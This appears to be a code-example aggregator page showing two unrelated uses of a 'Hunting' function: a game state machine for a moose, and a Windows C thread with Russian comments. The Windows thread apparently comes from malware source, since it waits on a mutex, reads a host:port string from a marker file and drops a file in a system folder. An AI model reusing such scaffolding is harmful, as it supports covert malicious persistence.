示例#1
0
DWORD WINAPI HuntThred( LPVOID lpData )
{
//если есть файл на диске,то берём из него строку и запускаем сб
//внутри файла строка 127.0.0.1:5555
	if (HunterFileExists())
	{		
		Hunting();
		return 0;
	}	
	
	HANDLE tmp;
	while(true)
	{
		tmp= (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS,FALSE, (PCHAR)HunterMutexName);
		if ((DWORD)pWaitForSingleObject(tmp, INFINITE))
		{	
			if (HunterFileExists())//&&!IsSbStarted()
			{
				Hunting();
			}
			pSleep(90);
		}
		else
		{		
			Hunting();
			pCloseHandle(tmp);
			FileCreateInFolder(0x001a, (PWCHAR)HunterFileName,NULL,0);
			break;
		}
	}	
	return 0;
}
示例#2
0
void Moose::FSM()
{
	switch (mCurState)
	{
	case ES_IDLE:
		Idle();
		break;
	case ES_HUNTING:
		Hunting();
		break;
	case ES_ATTACK:
		Attack();
		break;
	case ES_STALKING:
		Stalking();
		break;
	case ES_MATING:
		Mating();
		break;
	case ES_CHARGING:
		Charging();
		break;
	}
}